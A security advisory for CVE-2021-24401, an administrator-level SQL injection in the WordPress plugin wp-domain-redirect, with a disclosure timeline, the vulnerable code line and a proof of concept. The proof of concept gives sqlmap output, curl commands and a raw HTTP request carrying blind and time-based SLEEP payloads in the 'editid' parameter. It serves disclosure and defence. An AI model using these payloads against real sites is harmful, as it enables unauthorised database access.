

[Wp Plugin Wp Domain Redirect](#)

Plugin Details

Plugin Name: [wp-plugin: wp-domain-redirect](#)

Effected Version : 1 (and most probably lower version's if any)

Vulnerability : [Injection](#)

Minimum Level of Access Required : Administrator

CVE Number : CVE-2021-24401

Identified by : [Syed Sheeraz Ali](#)

[WPScan Reference URL](#)

Disclosure Timeline

- May 9, 2021: Issue Identified and Disclosed to WPScan
- May 13, 2021: Plugin Closed
- June 10, 2021: CVE Assigned
- August 22, 2021: Public Disclosure

Technical Details

Vulnerable File: /wp-domain-redirect.php#41

Vulnerable Code: [wp-domain-redirect.php#41](#)

```
41:      $countryIds = $wpdb->get_results( "SELECT * FROM $table_name WHERE `country_id` =". $country_id ." AND id <>".$_POST['
```

PoC Screenshots

```
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: editid (POST)
  Type: boolean-based blind
  Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
  Payload: country_id=6&editid=1 OR NOT 8833=8833#&domain_name=lol.com&update=Update

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: country_id=6&editid=1 AND (SELECT 1167 FROM (SELECT(SLEEP(5)))xkwI)&domain_name=lol.com&update=Update
---
[09:35:53] [INFO] testing MySQL
[09:35:53] [INFO] confirming MySQL
[09:35:53] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 8.0.0
[09:35:53] [INFO] fetching current user
[09:35:53] [INFO] resumed: 'bob@localhost'
current user: 'bob@localhost'
[09:35:53] [INFO] fetched data logged to text files under '/Users/sheerazali/.local/share/sqlmap/output/172.28.128.50'

[*] ending @ 09:35:53 /2021-05-01/
---
+ sqlmap-dev git:(master) x time curl -o /dev/null -i -s -k -X $'POST' \
-H $'Host: 172.28.128.50' -H $'Content-Length: 55' -H $'Cache-Control: max-age=0' -H $'Upgrade-Insecure-Requests: 1' -H $'Origin: http://172.28.128.50' -H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H $'Sec-GPC: 1' -H $'Referer: http://172.28.128.50/wp-admin/admin.php?page=add&action=edit&id=1' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-gb,en-us;q=0.9,en;q=0.8' -H $'Connection: close' \
-b $'wordpress_232395f24f6cff47569f2739c21385d6=admin%7C1620443683%7C2MZuCsK7cynrQu2tWf9whgE1vtkxLnVPFHGsJ9Fi0%7C1471328ee46323d87aa594ee1c6acb9ed6f70fbc9942f0148ff45ad621d76e57; wordpress_test_cookie=WP%20Cookie%20check; tk_ai=woo%3AiQVT6EvbuCedvp65Wb1%28uUE1; PHPSESSID=d8f8beced189cdd7cb849deddb8a8383; wordpress_logged_in_232395f24f6cff47569f2739c21385d6=admin%7C1620443683%7C2MZuCsK7cynrQu2tWf9whgE1vtkxLnVPFHGsJ9Fi0%7C1ae6e450dc0b415e0d67668228afb2a7317b368b4ef2f0d49e6cbb4b71a6a811; wp-settings-time=1=1620822305' \
--data-binary $'country_id=6&editid=1&domain_name=lol.com&update=Update' \
$'http://172.28.128.50/wp-admin/admin.php?page=add&action=edit&id=1'
curl -o /dev/null -i -s -k -X $'POST' -H $'Host: 172.28.128.50' -H -H -H - 0.00s user 0.00s system 3% cpu 0.195 total

+ sqlmap-dev git:(master) x time curl -o /dev/null -i -s -k -X $'POST' \
-H $'Host: 172.28.128.50' -H $'Content-Length: 102' -H $'Cache-Control: max-age=0' -H $'Upgrade-Insecure-Requests: 1' -H $'Origin: http://172.28.128.50' -H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H $'Sec-GPC: 1' -H $'Referer: http://172.28.128.50/wp-admin/admin.php?page=add&action=edit&id=1' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-gb,en-us;q=0.9,en;q=0.8' -H $'Connection: close' \
-b $'wordpress_232395f24f6cff47569f2739c21385d6=admin%7C1620443683%7C2MZuCsK7cynrQu2tWf9whgE1vtkxLnVPFHGsJ9Fi0%7C1471328ee46323d87aa594ee1c6acb9ed6f70fbc9942f0148ff45ad621d76e57; wordpress_test_cookie=WP%20Cookie%20check; tk_ai=woo%3AiQVT6EvbuCedvp65Wb1%28uUE1; PHPSESSID=d8f8beced189cdd7cb849deddb8a8383; wordpress_logged_in_232395f24f6cff47569f2739c21385d6=admin%7C1620443683%7C2MZuCsK7cynrQu2tWf9whgE1vtkxLnVPFHGsJ9Fi0%7C1ae6e450dc0b415e0d67668228afb2a7317b368b4ef2f0d49e6cbb4b71a6a811; wp-settings-time=1=1620822305' \
--data-binary $'country_id=6&editid=1 AND (SELECT 1167 FROM (SELECT(SLEEP(10)))xkwI)&domain_name=lol.com&update=Update' \
$'http://172.28.128.50/wp-admin/admin.php?page=add&action=edit&id=1'
curl -o /dev/null -i -s -k -X $'POST' -H $'Host: 172.28.128.50' -H -H -H - 0.00s user 0.01s system 0% cpu 10.210 total
```

Exploit

```
POST /wp-admin/admin.php?page=add&action=edit&id=1 HTTP/1.1
Host: 172.28.128.50
Content-Length: 102
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.28.128.50
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-ex
Sec-GPC: 1
Referer: http://172.28.128.50/wp-admin/admin.php?page=add&action=edit&id=1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_232395f24f6cff47569f2739c21385d6=admin%7C1620443683%7C2MzuCYsK7cynrQu2twf9whgE1vtkxLnVPFHgSj9Fi0%7C1471328e
Connection: close

country_id=6&editid=1 AND (SELECT 1167 FROM (SELECT(SLEEP(10)))xkwi)&domain_name=lol.com&update=Update
```

```
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: editid (POST)
  Type: boolean-based blind
  Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
  Payload: country_id=6&editid=1 OR NOT 8833=8833#&domain_name=lol.com&update=Update

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: country_id=6&editid=1 AND (SELECT 1167 FROM (SELECT(SLEEP(5)))xkwi)&domain_name=lol.com&update=Update
---
[09:35:53] [INFO] testing MySQL
[09:35:53] [INFO] confirming MySQL
[09:35:53] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 8.0.0
[09:35:53] [INFO] fetching current user
[09:35:53] [INFO] resumed: 'bob@localhost'
current user: 'bob@localhost'
```